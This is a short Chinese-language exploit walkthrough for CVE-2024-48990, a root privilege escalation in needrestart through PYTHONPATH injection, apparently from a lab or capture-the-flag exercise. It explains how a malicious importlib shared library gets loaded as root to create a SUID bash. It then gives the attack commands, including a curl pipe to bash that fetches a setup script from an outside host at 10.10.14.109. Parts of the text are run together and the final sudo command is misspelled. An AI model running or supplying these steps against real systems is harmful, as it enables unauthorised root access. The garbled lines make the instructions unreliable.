通过 PYTHONPATH 注入在 needrestart < 3.8 中实现本地权限提升。
/proc/[pid]/environ 读取 PYTHONPATH=/tmp/.mPYTHONPATH/tmp/.m/importlib/__init__.so(我们的恶意库)/tmp/rootbash 创建 SUID bash/tmp/rootbash -p 获取 root shell关键点: needrestart 信任来自非特权进程的环境变量,并在以 root 身份执行解释器时使用它们。
攻击者:
./compile.sh
python3 -m http.server 8000
目标:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
在第二个终端中执行以下命令后,e.py 进程应挂起并生成 root 权限:
sudo needsrestard
第一个终端将启动 root shell。
Qualys 威胁研究单位 - CVE-2024-48990